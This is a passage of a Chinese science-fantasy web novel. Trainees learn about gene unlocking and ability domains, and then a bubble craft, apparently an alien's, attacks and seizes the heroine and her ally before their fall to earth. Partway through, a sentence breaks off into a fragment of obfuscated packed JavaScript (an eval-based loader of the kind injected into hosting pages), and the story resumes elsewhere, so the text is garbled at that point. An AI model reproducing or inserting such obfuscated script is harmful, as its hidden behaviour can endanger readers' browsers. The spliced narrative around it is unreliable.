能熬过这第一课的学员,其实各方面素质已经远超常人。 可是江夷显然不这么看,他目光从一个学员身上扫到另外一个学员身上,温雅的笑容慢慢淡去,眼神有些冷。 被他目光扫过的学员,脸色有些发白,不由自主的避开了他的视线。 这是那十一个自己把自己敲晕的学员。 “你们意志不够坚忍,你们只是够狠,知道自己快抵抗不住食物的诱惑,索性下手把自己打晕。”江夷淡淡的说,“你们有百分之五十的可能,熬过基因解锁时的痛苦。” “熬不过去会怎样?”其中一个学员大着胆子问了句。 “熬不过去的,或者选择一死了之,或者,崩溃发疯。”江夷笑笑,不过眸中却没半点笑意,“我可以给你们一次机会,你们现在可以选择退出训练营,还来得及。” 那十一个学员面面相觑,有的交换了下目光,有的则垂下双眼,似在静静思索。 沉默中,气氛变得越来越压抑,没有人说话。 没有人想退出。 试想,世界在你面前打开了一扇新的大门,只要你能走进去,就会看见完全不同的一个天地,摆脱生老病死的束缚。 你将拥有不可思议的能力。 谁能拒绝这样的诱惑? 即使是要赌上生死,也是心甘情愿。 这样的结果显然在江夷的意料之中,他没有再多说什么,只把目光慢慢转向另外五名学员。 这五名学员是让同伴把自己打晕,这才通过了第一节课的考验。 他看着五名学员说道:“你们既不够坚忍,也对自己不够狠,你们只是很明智,在抵抗不住诱惑的时候,选择寻求同伴的帮助,通过了考验。你们在基因解锁时,成功的几率只有百分之三十。你们现在可以选择退出。” 依然是沉默,依然没有人选择退出。 江夷的目光转向三男一女,这四个人从开始到结束,都保持着清醒,熬的很辛苦,却成功通过了第一课。 “你们心志足够坚忍,有百分之八十的几率成功,我送给你们一句话,要做基因的主人,不要成为一串代码的奴隶。” 四个学员有的神情微动,有的依旧平静如水,其余学员则面面相觑,这句话显然更像是在故弄玄虚。 但是既然见识过江夷的手段,大家自然明白他绝对不会玩什么故弄玄虚。 “什么是能力域?”郑落落打破了场上的静默,大声问道。 她问出了唐镜想要问的问题。 “基因解锁后,可以通过各种方法来改写DAN信息,改写后的基因片段,会让人体产生变异,有的变异会产生不可思议的能力,有的变异则给人带来致命的结果。” “致命的结果?”郑落落的声音有些发颤,唐镜也不由自主屏住了呼吸。 江夷的声音变得低沉:“我们现在走的这条路,是很多人用自己的生命为代价探索出来的,经过了很多很多年的积累和传承,终于找到安全的办法,改写基因代码,发掘出了生命的三大能力域。” 很多很多年?人类有基因这个概念才多少年? 49. 第 49 章 原来,人类中的佼佼者,早就意识到了这个问题,并且在很久之前,就展开了对生命的探索。 唐镜突然想到了流传至今的那些宗教,他们的创始人,是不是就是在探索生命的奥秘? 只不过,没容她想太多,就被江夷的话吸引住了注意力:“这三大能力域,就是感知域,格斗域,元素域。” 感知域,唐镜脑海里浮现过这三个字! “所谓感知域,就是通过六感探测宏观和微观世界的能力……” “六感?不是五感吗,眼耳鼻舌身对应的视听嗅味触?”唐镜忍不住打断了江夷的话。 “第六感是意念,是用心灵感知世界。眼睛可以看到一朵花的颜色,耳朵可以听到花在风中摆动的声音,鼻子可以闻到花香,舌头可以尝到花味,手指可以触摸到花瓣的柔软,可只有用意念,才能感觉到一朵花的悲伤和快乐。” 一朵花也会有快乐和悲伤? 好吧,这是她不能理解的境界。 “格斗域是人体战斗攻防以及移动能力的总称。” 唐镜想起阿虎那快如奔马的速度,飞鹰在山崖上鬼魅般的身手,以及伊峰秋和齐修惊人的搏击表现。 江夷继续说道:“说到格斗域,传统武术讲究内外兼修,通过各种方法增强人体的物理防御能力,提高移动速度,提升力量,其中的内功修炼,其实也相当于一种改写基因表达的方法,所以和外功相比,内功的修炼更加艰难,也更加考验修炼者的天赋。” 郑落落凑到唐镜耳边,低声说道:“你练武术的时候,学过内功吗?” 唐镜摇摇头,其实她一直以为所谓内功,只会出现在武侠小说里,没想到对内功还有这样的一种解释。 “元素域,是对自然界五种基本元素——金木水火土的操控。”江夷说到这里,微微一笑,伸出手去,手指轻轻一点,雪花从地面的积雪一片一片漂浮上来,围着他的手指,凝结成一条细细的水柱。 “通常来说,每个人会根据自己的天赋和性情,选择一类能力做为主修能力,其余能力也会修习,但只会做为辅助能力,不符合自己天赋的能力,修习只会事倍功半。” “你的主能力是元素域吗?”郑落落好奇问道。 江夷点点头:“每个人在基因解锁的时候,第一次生成的进化点,身体会自行分配到主能力域,你自然就知道自己的主修能力类别。” 按照他的这个说法,唐镜的主能力域就是感知域了? “什么是进化点?”唐镜问江夷。 “一个进化点代表一次基因改造的机会。我们通常把能力分为九阶,每一阶,包含九次进化,第一阶的第一次进化,只需要1个进化点,然后越往上,需要的进化点就开始倍增。” “第一阶第一次进化,需要1个进化点,第二次进化,需要2个进化点,第三次进化,需要4个进化点,第四次进化,需要16个进化点?”唐镜问道。 江夷点点头:“达到二阶算是入门,三阶到四阶,算是进阶,越往上提升能力,需要的进化点就越多。” “怎样才能得到进化点?” “训练和战斗,当然,也有一些人,会靠药物来刺激身体,产生进化点,但是这种进化,并非正道,后患无穷……”江夷刚说到这里,就听见天空传来一声清亮的鹰鸣声,一只大鹰如同闪电般从云层俯冲下来。 正是飞鹰身边的那只大鹰。 大鹰掠过时掀起的气流吹得众人衣服猎猎作响,它在江夷的头顶盘旋了一圈,随后又腾空而起,落在山梁上,收起翅膀,鹰眼炯炯有神的看过来。 那道山梁正是唐镜、郑落落和齐修翻过来的地方。 很快,山梁上出现了三个人,竟然是伊峰秋、阿虎和飞鹰。 “咦,他们怎么来了?”郑落落疑惑道。 唐镜看到江夷眼中一闪而过的迷惑,很显然,这三个人出现在这里,也出乎他的意料。 阿虎和飞鹰也就罢了,伊峰秋为什么会来这里? 因为唐镜的视力比以前敏锐了许多,所以伊峰秋出现在山梁的时候,她立刻就看到他额头上的碎发,已经被汗黏湿,嘴唇抿成一线,目光异常冷厉。 而他身边的阿虎和飞鹰,俱是额头带汗,神情严峻。特别是阿虎,目光中带着凛人的杀气,仿佛被激怒了的一头猛虎。 看三个人的情形,应该是用了最快的速度赶来这里。 只见他们三个人出现在山梁后,没有任何停留,就往这面疾奔而来,从山梁到这里百多米的距离,几乎是眨眼就到,速度已经完全超出了普通人所能理解的范畴。 不过唐镜已经很淡定了,毕竟,经历了太多不可思议的事情后,这个世界没有什么不可能的了。 场上其余学员看着疾奔而来的三个人,有的露出羡慕和钦佩之意,有的则显出几分警觉,还有一两个目光闪动,露出所有所思之意。 江夷嘴角依旧噙着一丝温雅笑意,不过幽黑的眸子像是凝结了一层冰霜,冰冷的目光看向头顶上方。 伊峰秋、阿虎和飞鹰已经冲了过来,瞬间分散开,和江夷恰好形成了一个四角形的包围圈。 唐镜看见,一个拳头大小的透明气泡,正从天空中慢悠悠的漂浮过来。 此时已快到正午时分,深冬的阳光显得有些苍白无力,感觉不到任何热量,在气泡表面折射出极浅的一层光晕。 如果不是她以前见过这种透明的气泡,再加上突然变敏锐的视力,她肯定不会这么快发现它的存在。 唐镜的心一下子提了起来,死死盯着气泡,看着它从一个拳头大小慢慢变成了篮球大小,又变成了桌面大小,直到有半个篮球场那么大的时候,它就不再继续膨胀。 气泡悬停在众人头顶上方一百米的高度,阳光折射在它的表面,散出极浅极淡的七彩光晕,像是给它镀上了一层膜。 就像是漂浮的肥皂泡。 可是也许是因为它太大了,所以并没有肥皂泡那种美丽和脆弱,反而有一种说不出的诡异。 气泡悬停在头顶上方,一动不动。 伊峰秋等人站定后,也一动不动。 四周一片静默,气氛越来越压抑,空气仿佛变成了粘稠的泥淖,让人呼吸困难。 唐镜突然觉得有什么地方不对,眼角余光一扫,那些本来盘坐在蒲团上的学员,不知道什么时候,已经倒下去,失去了意识。 不过她能听到他们的呼吸声和心跳声,他们只是昏迷过去了而已。 只剩下唐镜、郑落落和齐修盘坐在蒲团上,齐修还处于一种老僧入定的状态中,郑落落则瞪大了眼睛,看着天空中的气泡,有些艰难的说道:“和我梦里见到的一模一样,就是,就是没这么大……” 伊峰秋奔来的时候,目光在唐镜身上停留了一下,视线相接的时候,眼神瞬间变得柔和,随后,他转向悬浮在头顶的气泡,神情越来越冷厉。 唐镜知道,虽然这气泡看上去像肥皂泡一般美丽脆弱,可是当初在齐家老宅的时候,它轻轻松松带走了一间房子一个人。 伊峰秋、阿虎、飞鹰和江夷分站在四角,对气泡形成了一个包围之势,气泡高高悬浮在中间,唐镜、郑落落和齐修,就盘坐在气泡正下方。 空气越来越粘稠,无形的压力,仿佛海水席卷而来,呈没顶之势。 唐镜有一种很奇怪的感觉,这个透明的气泡就像一只眼睛,正在打量着他们七个人。 真奇怪,不过是一个透明的气泡而已,怎么会给她这种感觉呢? 唐镜死死盯着气泡,思忖着如果它如果继续往下来的话,自己是不是该撒腿就跑,尽量跑出它笼罩的范围。 反正绝不能坐以待毙,更不能成为伊峰秋他们四个人的牵制。 她和郑落落交换了一下目光,不愧是死党闺蜜,她显然也是和唐镜一样的打算。 只不过,齐修怎么办? 背着他,拖着他? 貌似不太现实。 可是让唐镜抛下他不管,她也做不到,在那山崖上,齐修耗尽体力,把她和郑落落送上崖顶,就冲着这一点,她就不会在这时候扔下他。 唐镜咬咬牙,拼了,到时候背着他跑吧,总要拼尽全力才能无愧于心。 下定决心以后,她反而放松下来,全部心神都放在那个气泡上,看看它接下来到底要玩什么花样。 伊峰秋他们站在那里,就如四把出鞘的宝刀,散发着凌厉的气息,如一张网将透明气泡围在中间。 风不知道什么时候戛然而止。 气泡凝定在那里,一动不动,可是气泡中间却慢慢出现了一个透明的人形轮廓,虽然分不出男女,可是匀称的身形显得非常精致。 “哪一个是他?”从气泡中传出一个中性的声音,嗓音带着特别的磁性,低沉悦耳。 什么意思? 唐镜和郑落落面面相觑。 这个气泡是来找人的吗?它要找谁? “他已经不存在了。”伊峰秋说话了,声音和表情一样冷峻。 好吧,唐镜更糊涂了。 “我捕捉到了他的脑电波,他已经苏醒了,我等他很久很久了,你们还没有抹去他的存在的实力。”那个透明的人形轮廓说道,声音里没有一丝情绪波动,只是在陈述一个事实。 伊峰秋冷笑了一下,不再说话。 透明人形轮廓双手负在背后,悬浮在气泡中间,身体原地转了一圈,像是在打量我们这七个人。 “那四个傻瓜花了几千年时间,想让地球人踏上自我进化之路,我看到现在也不过如此嘛。”透明人形轮廓说道。 “废话少说,不服老子跟你单挑!”阿虎冷哼一声。 “那就让我看看你们有什么嚣张的资格。” 透明人形轮廓挥了挥手,四个拳头大小的气泡从大气泡上分出来,飘向伊峰秋他们四个人。 唐镜的心一下悬起来,那气泡只有拳头大小,也没有变大,速度甚至也不是很快,可她分明看到,气泡飘过的地方,空间有微微的扭曲。 伊峰秋看着越飘越近的气泡,右手随意一挥,一支黝黑的,不知道什么材质制成的甩棍从衣袖里弹出,啪的一下伸展开,直接敲向气泡。 甩棍的速度看起来不快,可是在甩棍行进的轨迹上,竟然留下了一串虚影。 甩棍碰到气泡的时候,虽然没有任何声音发出,可是以气泡为中心一尺范围内,直接形成了一个空气漩涡。 拳头大小的气泡直接被漩涡撕扯成无数碎末,湮灭无踪。 可是唐镜也看到,伊峰秋握着甩棍的手上,虎口处渗出了一丝丝的血痕。 阿虎看着飘过来的气泡,嘿嘿一笑,双手一把抓住气泡,两个手掌用力一挤一搓,噼噼啪啪声中,气泡瞬间变成一缕烟尘。 与此同时,阿虎脚下的土地骤然塌陷,积雪和泥土飞溅四散。 强大的反作用力让他的嘴角渗出鲜血,可是他却放声大笑:“就这种手段,还敢向我们地球人叫板,赶紧滚回去吧!” 笑声中,只见飞鹰也出手了,他手里不知道什么时候,多了一柄长剑,剑尖出去之后,出现了一道空间裂缝,随即剑尖挑起气泡,直接把气泡送进了空间裂缝。 空间恢复正常,飞鹰身体一晃,脸上血色瞬间消褪,可是神情却没有任何变化,依旧冷漠孤傲,他剑尖往地上一点,稳住了身形。 江夷看着飘向他的气泡,嘴角噙着温雅笑意,手指连连拂动,如拨琴弦,数百片雪花从地上飘起,围住气泡,瞬间凝结成一朵冰莲花,气泡被冻在莲花的花蕊中。 七彩的阳光折射着冰莲花,花蕊中漂浮着一个透明的气泡,煞是好看。 “你这家伙,就喜欢把力气浪费在这些花里胡哨的手段上。”阿虎笑骂道。 “生命本来就应该浪费在美好的事物上。” 江夷淡淡一笑,手指尖上,有细细的血丝滴落下来,可是他却浑不在意,手指微动中,冰莲花开始旋转,直到最后整朵莲花带着气泡,化为一团白色的雾气。 唐镜不得不承认,江夷的攻击,在出手的四个人里面,看着最养眼。 一击必杀! 伊峰秋他们四个人拼着自己受伤,也要在一个回合里面干掉气泡,这种气魄,显然出乎透明人形轮廓的意料。 而且,唐镜清楚的看到,就在四个小气泡被干掉的同时,悬浮在中间的透明大气泡震荡了一下,表面泛起涟漪,随即体积缩小了一圈。 也就是说,四个小气泡的消失,对大气泡也造成了一定的冲击。 唐镜忍不住朝伊峰秋他们竖起了大拇指。 拼不拼的过是一回事,但是拼还是不拼,又是另外一回事,狭路相逢,必须亮剑! 气泡里的人形轮廓慢慢变得清晰起来,现出了一个黑发黑眸的男人,身上套了件白色的丝质长袍,有点类似阿拉伯男人穿的那种袍子,赤着双脚,悬浮在气泡中央。 他本来双手负在背后,下颌抬起,一副高高在上的样子,可是此时,他微低了头,开始认真的打量起伊峰秋他们四个人。 即使隔着数十米的距离,唐镜都能感觉到他黑眸中闪过的若有所思之意。 他朝着伊峰秋点了点头:“也算是有点意思,不过就算能解开基因锁,加快了进化速度,也是没有用的,已经来不及了。” 伊峰秋淡淡的说:“至少我们不用躲在肥皂泡里生活。” “哈哈!这句话说得好!”阿虎哈哈大笑。 “噗嗤!”唐镜和郑落落也忍不住笑出声来。 本来压抑的心情,紧张的气氛,因为伊峰秋的一句话,突然就变得轻松畅快了许多。 伊大队长的毒舌功力确实非同一般,只这淡淡的一句话,就让黑发黑眸的男人面色勃然一变。 很显然,这句话戳中了他的痛点,他盯着伊峰秋,眸色越来越深,仿佛暴风雨来临前的暗夜,乌云翻涌。 伊峰秋目光冷峻,迎着他的视线,不躲不闪,笔挺的身姿,就像出鞘的宝刀,散发着凛人的气势。 一触即发! 可是不知道为什么,在如此威压下,唐镜的大脑反而越来越清晰,思维高速运转,往事一一浮现。 这个悬浮在空中的透明气泡,其实本质上和齐卓宇院子里的无形罩子、幻境山顶里面的无形罩子,以及齐家老宅后山上面,莫姑娘布置的那个透明罩子,并没有什么不同。 这种无形罩子,其实是莫纳星人一种用来隔绝时空的技术。 也就是说,这个黑发黑眸的男人很有可能是莫纳星人。 按照齐夫人当初的说法,除了第一批来到地球的莫纳星人外,随后来到地球的,就只有她和占据齐修身体的那个莫纳星人,而且齐夫人抹去了第一批莫纳星人在地球上留下的坐标印记。 从此,莫纳星人再也不会在茫茫宇宙中找到地球的位置了。 所以,不会再有莫纳星人来到地球。 也就是说,这个男人应该是第一批来到地球的莫纳星人。 唐镜记得,齐夫人说过,她在地球上,一直没有找到第一批莫纳星人。 可是很显然,这个黑发黑眸的男人的出现,说明第一批莫纳星人还有生存下来的。 为什么齐夫人没有找到他们? 而现在,他出现在这里,到底是接收到了谁的脑电波?他到底要找谁? 那些昏迷的学员,应该是这个黑发黑眸的男人动的手脚,很显然,这是一种甄别手段,他要找的人,肯定就是还能保持清醒的人。 唐镜看向场上其余六个人:伊峰秋、齐修、郑落落、阿虎、飞鹰、江夷,看来,他要寻找的人,应该就是他们其中之一。 就在唐镜大脑飞速运转的时候,悬浮在空中的气泡忽然下降,从百米高度瞬间落至距地面十米左右的高度,体积也缩小了一半。 黑发黑眸的男人悬浮在气泡中央,长袍纹丝不动,他一手负在背后,一手向前抬起,往虚空里一抓。 唐镜感觉身体一轻,好像有人拽着她的衣领把她拎了起来,她整个人已经离开地面,而且还在飞速向上。 她用眼角余光看到身侧的郑落落和齐修也和她一样,被拽了上去。 伊峰秋他们四个人身体微微一晃,并没有被拽离地面。 黑发黑眸的男人对我们七个人出手了,只是很显然,唐镜、郑落落和齐修,连反抗的能力都没有。 伊峰秋手里的甩棍唰的一下掷了出来,黑色的甩棍在空中飞速旋转,形成圆形虚影,无声无息从唐镜头顶滑过。 唐镜听到甩棍和空气摩擦时发出的那种高频震荡声,感觉到甩棍表面因为摩擦散发出的高温,看到甩棍周围空间的微微扭曲…… 下一个瞬间,那种把她拽离地面的力量突然消失! 如果说,这力量是一条坚韧的钢丝,那么伊峰秋投掷出的甩棍,就是劈断钢丝的刀锋! 唐镜身体开始往下摔去! 这种感觉,就好像身体被一只巨手拎起来,然后巨手松开,唐镜完全无能为力,只能眼睁睁看着自己往地面坠去。 她唯一庆幸的就是,自己不是脸朝下,不担心会毁容,庆幸之余,脑海中猛然闪过一个念头,这种高度,虽然不至于摔死,但是肯定会摔的皮开肉绽! 整个过程只是一眨眼的功夫,唐镜完全做不出任何应对,可是身体却自行做出了反应! 皮肤变得滚烫,血管中的血液已不可思议的速度奔流着,每一根肌肉纤维都在颤抖,肌肉表面微微凸起,就在皮肤接触地面的瞬间,凸起的肌肉精准回缩,落下来时的巨大冲力完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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齐修之所以会帮她和郑落落,进入基因解锁的过程,也许和他体内的两个意识醒来有关,只不过随后,因为他耗费了太多精气神,两个意识重新被压制下去,所以黑发黑眸的男人找到这里以后,就失去了目标? 就在唐镜脑中无数想法此起彼伏的时候,甩棍一个360度的回旋,留下一串虚影,飞向伊峰秋。 伊峰秋伸手抓住甩棍的瞬间,一口鲜血喷出来,额头上的碎发唰的一下全部飘起来,与此同时,他双脚已经离地,整个人被拉向空中。 看着伊峰秋被拉向半空中,唐镜的心一下跳到了嗓子眼里,脑海已是一片空白! 如果伊峰秋不是为了救下她、郑落落和齐修三个人,绝对不会让自己落到如此被动的地步! 她不能让他被黑发黑眸的男人抓住! 肾上腺素瞬间飙升,每一根肌肉纤维都收缩到极致,发烫的鲜血在血管里奔流,每一个细胞都在燃烧! 唐镜从地上蹿起来,整个人就像出膛的炮弹,弹向伊峰秋,将将抱住他的双脚! 这超常发挥的一窜,瞬间耗尽了体内所有的能量,她想把伊峰秋拽下来,才发现已经使不出半分力气,每一根肌肉纤维都处在崩溃边缘。 她只能死死抱住伊峰秋的双脚,随着他一起被拉向空中。 “笨蛋,快放手!”伊峰秋的怒吼声响起,他的脚一动,想要挣脱唐镜的双手。 唐镜抬头朝他笑了笑:“你敢把我甩下去,我就立刻大喊,说你没有小JJ!” 她感觉到伊峰秋身体瞬间一僵,虽然从她的角度看不到他的脸,可是她能想象出来,他现在的表情一定很精彩。 真可惜,她看不到。 虽然加上了唐镜的重量,可是不仅没有减慢被拽离地面的速度,反而变的越来越快。 耳边传来一声尖叫,唐镜的脚上突然一紧,低头一看,郑落落不知道怎么的蹿了过来,双手抱住她的右脚,拼命把她往下扯。 唐镜第一个反应竟然是,咦,这家伙身手什么时候变这么好了? 第二个反应才是:“松手!” “你快下来!”郑落落的声音里面已经带上了哭腔。 唐镜觉得眼睛有些发热,赶紧仰头朝天,嘿嘿一笑:“郑落落你个大灯泡,赶紧松手,不要破坏我和帅哥患难与共的机会!” “少自作多情了,我只是想近距离看看外星人!”郑落落反唇相讥。 她何其有幸,能有这样一个闺蜜。 “哈哈,有趣!”阿虎的声音突然响起来,语气中带着点调侃,话音刚落,他人已经出现在郑落落的下方。 只见他右手握拳,狠狠向上挥出,击向大气泡,左手成爪,已经抓住了郑落落的小腿,用力往下一扯。 空中出现一串拳头的虚影,最后一串虚影叠加在一起,重重打在了大气泡上。 气泡虽然没有什么变化,可是唐镜分明看到,悬浮在气泡中央的黑发黑眸男人,身体边缘突然虚化了一瞬。 与此同时,被扯上去的速度滞了滞。 唐镜借机左脚尖往右脚后跟的地方一蹬,右脚的鞋子被她蹬开,郑落落双手抱着鞋子,被阿虎给扯了下去。 停滞只是眨眼间的事情,随即,唐镜和伊峰秋上升的速度瞬间加快,直接被扯进了大气泡里。 唐镜看见黑发黑眸的男人负在背后的手伸了出来,手指虚抓了几下,她整个人就横向飞了起来,向个风筝一样,被斜斜扯着向后撞去。 她的手再也抱不住伊峰秋的脚,手一松,直直往后摔去。 此时她的身体已经极度疲劳,肌肉纤维只是在轻轻颤抖,再也没有像刚才那样本能的收缩,来化解摔下去的冲力。 希望气泡壁不要太硬,不要摔断骨头。 忽然身上一重,砰一声,伊峰秋的身体以一种诡异的角度向唐镜撞来,一双有力的臂膀揽住了她的腰,两个人直挺挺向后摔去。 在撞到气泡壁的瞬间,伊峰秋手臂突然用力一扯,把她扯到怀里,随即,就听见一声闷响。 伊峰秋隔开了唐镜和气泡壁,后背重重撞在气泡壁上。 唐镜的头发和脸颊上一湿一热,被伊峰秋喷出的鲜血淋湿,鼻端全是血腥气。 气泡壁上弹出数十根蛛丝般的细丝,飞快的缠绕在唐镜和伊峰秋身上,像一张大网,把两人捆在了气泡壁上。 黑发黑眸的男人悬浮在气泡中央,白色的长袍无风自动,在空中虚抓的手猛然攥紧成拳,就在伊峰秋后背撞到气泡壁上的时候,他的身体瞬间虚化,但立刻就恢复了正常。 如果不是唐镜的视觉敏锐度提高了许多,根本不会看到这个变化。 就好像伊峰秋的后背不是撞在气泡壁上,而是撞在了他的身上! 难道对气泡壁的撞击,会对他产生影响? 唐镜脑中只是这么一转念而已,却无暇想太多,因为她全部心思都放在了伊峰秋身上。 此时,她的后背贴着他的前胸,被细丝编织的大网捆在气泡壁上,动弹不得,她想扭头看看他的情形,可是脖子都快扭断了,也看不到他的脸。 她能听到他缓慢却还算有力的心跳声,也能听到他细微的呼吸声,他还活着! 这一刻,唐镜有一种喜极而泣的冲动。 “喂,你还好吧?”她忍不住喊起来。 没有任何回应。 唐镜反手推了推他,正推在他的腰间,他还是一动不动,看来伤势太重,已经昏过去了。 就在这时候,一声清亮的鹰鸣声响起,只见飞鹰一手拉着鹰爪,一手挥舞着长剑,已经向气泡疾冲而来。 长剑在空中划出一道剑光,如同闪电,狠狠刺在了气泡上。 与此同时,气泡外面又出现了一串虚幻的拳影,最后重叠在一起,击打在剑尖刺到的地方。 这是阿虎的攻击! 剑光和拳影的叠加攻击下,气泡的那处竟然荡起了涟漪,就像一颗小石子投进了平静的湖面。 在涟漪的中心,突然出现数片雪花,雪花一片一片落在涟漪的中心,在落下的瞬间,就凝结成了冰晶,牢牢贴在气泡壁外面。 本来透明的气泡,在被雪花覆盖的地方,竟然变得有些模糊。 很显然,伊峰秋和唐镜被抓进大气泡以后,阿虎、飞鹰和江夷立刻联合出手,集中力量,狠攻一处。 黑发黑眸男人的身体由实到虚,又由虚到实,转换了好几次,才又恢复实体,他脸色也变得有些难看,很显然,攻击大气泡,会在某种程度上影响到他。 而同样置身在气泡中的唐镜,却对这种攻击没有任何感觉。 按照她的猜测,这个黑发黑眸的男人是莫纳星人,那么这个大气泡就是莫纳星人的飞行器。 莫纳星人和地球人不一样,他们是以能量的形式存在,现在看到的这个黑发黑眸的男人,理论上来说,应该不是实体,而是他以某种方式刺激众人的脑部神经,让他们看到的形象而已。 而这个气泡却是实实在在的一种存在。 难道说,黑发黑眸的男人和这个大气泡,存在一种能量上的联系?阿虎他们对气泡的攻击,在某种程度上削弱了他的能量? 50. 第 50 章 唐镜大脑疯狂运转,反复推演,觉得这是唯一能说得通的解释。 就好像一个人坐在汽车里面,如果有人在车外砸汽车,汽车表面即使被砸的千疮百孔,身体也不会出现什么伤口。 但是如果有人不断的用针扎这个人皮肤的某一点,就会有伤口,就会流血,血流的再多些,人就会开始变得虚弱。 这个大气泡,会不会就相当于黑发黑眸男人的皮肤? 唐镜脑海中好像有什么东西一闪而过,可是当想要抓住它,想看清楚的时候,它却又无影无踪了。 阿虎他们的攻击还在继续,唐镜发现,和开始的第一击相比,后面的力道开始减弱了。 她心里明白,这种攻击并不能持久,毕竟,双方在实力上的差距摆在那里,而且黑发黑眸的男人居高临下,占据了空间优势。 就在这时候,她的后腰突然被人碰了一下,伊峰秋醒了! 心情莫名放松下来,唐镜感觉到他用手指在她的后腰上一笔一划,写起字来…… 因为伊峰秋在唐镜背后,阿虎他们三个人的攻击又吸引了黑发黑眸男人的注意力,所以他此时的动作,并没有被发现。 可是唐镜却忍不住扭了扭腰,因为实在是太痒了! 她本来就是个很怕痒的人,伊峰秋的手指用的力度又比较轻柔,又是在后腰最痒的地方,再加上她的心情放松下来,所以痒意传来的时候,竟然一个没有忍住! 这么一扭,引起了黑发黑眸男人的注意力,目光扫过来。 唐镜心里一个激灵,顿觉不妙,索性又扭了扭腰,迎着他的视线,开始哈哈大笑起来。 记得在网上曾经看过一句话,就是当你如果不知道如何应对敌手的时候,就可以开始大笑,这样既可以给自己争取思考的时间,还能够让对手迷惑不解。 果然很有用。 黑发黑眸男人盯着唐镜,眼中闪过一丝不解之意,不明白这女人明明都是他的阶下囚了,为什么不哭反笑。 伊峰秋倒是镇定多了,始终稳定从容,不紧不慢的在唐镜后腰上继续写字,即使她因为发痒扭腰,也没让他有半分停顿。 唐镜一边哈哈大笑,一边分辨伊峰秋写的字,一边心念急转,也真是不容易。 “你笑什么?“黑发黑眸男人终于忍不住了,开口问道。 “你不觉得很好笑吗?”唐镜一边笑一边说。 “什么地方好笑?” “你猜呢?” 黑发黑眸男人摇摇头:“猜不到。” 他回答的这般干净利落,反而吓了她一跳,难道他不应该思索一下吗? “你看,你明明是过来找人的吧,可是你又不知道你要找的人是谁,跟我们乱打一气,难道不好笑吗?”唐镜胡乱解释道。 “一点都不好笑。” “那是你没幽默感。”唐镜反唇相讥。 “我不和你浪费时间,交出我要找的人,我可以给你们一个痛快的死法!”黑发黑眸男人说道。 “你脑子有毛病啊,我连你要找的人是谁都不知道,怎么交出来?就这智商,如果不是靠着这个肥皂泡,早在地球上混不下去了吧?”唐镜用眼神表示了下鄙视之意。 男人脸色骤然一变,本来就幽黑的眼眸,此时更加黑的瘆人,也没看见他有任何动作,下一个瞬间,就出现在唐镜面前,一只手朝她喉咙捏来。 就在这时候,本来捆的极紧的细丝突然松动了一点,唐镜顺势身体一转,往侧面移开一公分多的距离,眼角余光看到伊峰秋右手手指一勾,从衣兜里面挑出了一块手帕。 正是那块白底黑格的手帕。 手帕以一种无法想象的速度弹了出去,迎向黑发黑眸男人伸向喉咙的手。 下一个瞬间,手帕上面突然亮起黑白两色的光线,光线交织在一起,形成网状,就像是那白底黑格构成的图案突然活了一般。 细如蛛丝般的黑白两色光线裹住了黑发黑眸男人的手,随即光线继续扩大,开始顺着男人的手臂延伸上去。 男人的手和手臂,凡是被光线包裹到的地方,瞬间虚化。 与此同时,阿虎他们三个人的又一波攻击到了! 大气泡忽然剧烈的颤抖了一下,那个被不断攻击的一点,居然出现了裂缝! 黑发黑眸男人一声怒吼,用力一甩手臂,却甩不脱黑白两色细光的包裹,清冷的空气开始从气泡裂缝里面飘进来。 大气泡突然失控,如海啸中的一叶孤舟,瞬间被抛了出去。 黑发黑眸的男人整个身体往后飞去,狠狠撞在了气泡壁上,身体在虚实之间变幻不定,就像忽灭忽亮的灯泡。 伊峰秋用力一扯,那些包裹着唐镜和他的细丝被他硬生生扯离气泡壁,他一只手抱着她,一只手向裂缝处劈去,唐镜感觉到身体一沉,也不知道怎么回事,那裂缝明明看着不大,可两人却从裂缝里掉了出去。 风在耳边呼啸,唐镜和他像是两块石头往下坠去。 这个时候,气泡距离地面已经将近百米,这种高度摔下去,两人非得变成肉泥不可! 身体飞速下降,唐镜想尖叫,可是刚张开嘴,却瞬间灌满了风,耳边是呼呼的风声,眼前一片蓝白交织的虚影,巨大的压力扑面而来。 她下意识的双手乱抓,就像溺水的人,拼命想要抓住点什么,可是,就连一根稻草都抓不到。 伊峰秋在她身后,两个人还被那些细丝罩在一起,只不过细丝松了许多,成了一张松垮垮的大网,两人就像网中的两条鱼, 他的双臂一直牢牢抱着唐镜的腰,此时突然松开一只手,抓住她乱舞的双臂,圈向腰间,就像铁箍一样,把她的手臂和身体牢牢捆在一起,随即,他松开了另外一只手。 唐镜听见他慢慢吐出了一口长气。 呼吸很缓,很沉,是如临大敌前的冷静和警觉。 怎么,在这种高度坠下去,他还有办法不成? 除非他是超人! 超人? 唐镜脑海里猛然想到江夷说过的话,伊峰秋显然是格斗域的高手,他已经解开了基因锁,他的身体,已经不是普通人! 也许,真的有希望! 此时,伊峰秋前胸紧贴着唐镜的后背,能感觉到他的身体猛然绷紧,开始散发惊人的热力,即使隔着厚厚的衣服,都让她后背发烫。 他松开的那只手臂已经高高举起,蓄势待发。 这一刻,唐镜连害怕都忘了,只觉得诧异,不知道伊峰秋想做什么,她努力睁眼往下看,难道阿虎他们有什么办法,在下面接应? 下面哪里有人,就连地形都变了。 唐镜猛然想起来,当时那个大气泡曾经失控蹿了出去,在高空上感觉不出距离,可是很显然,她和伊峰秋脱离气泡的时候,这气泡只怕早就飘离原地上千米了。 如今下方是起伏的群山,早就看不到训练营的踪影了。 距离地面越来越近,下方是一处峡谷,河水在峡谷中奔流而下,两边是陡峭的山崖。 如果她和伊峰秋掉进河水里,如果河水够深,也许还有机会? 不过很显然,两个人没那么好的运气,掉下去的地方,正对着河边林立的大石,距离河水还有那么七八米远。 正下方的大石头青灰嶙峋的表面,大石底部郁郁青青的苔癣。 这么高的距离,这么快的速度,就算伊峰秋的身体,是钛合金做成的,也没用,除了粉身碎骨还是粉身碎骨…… 看着那些越来越近的大石头,唐镜终于体会到了,什么叫做魂飞魄散。 身后的伊峰秋忽然深深吸了一口气,随即举起手臂狠狠挥了下去! “砰!” 唐镜的耳朵被这巨声震得隐隐发麻。 他本身的力量再加上高空下坠的速度,这隔空一击,竟然让整块大石都嗡嗡一震,原地晃了晃。 同时,因为这一掌的反作用力,两人身体竟然出现了短暂的停顿,冲势略缓了缓。 唐镜的心吊在了喉咙口。 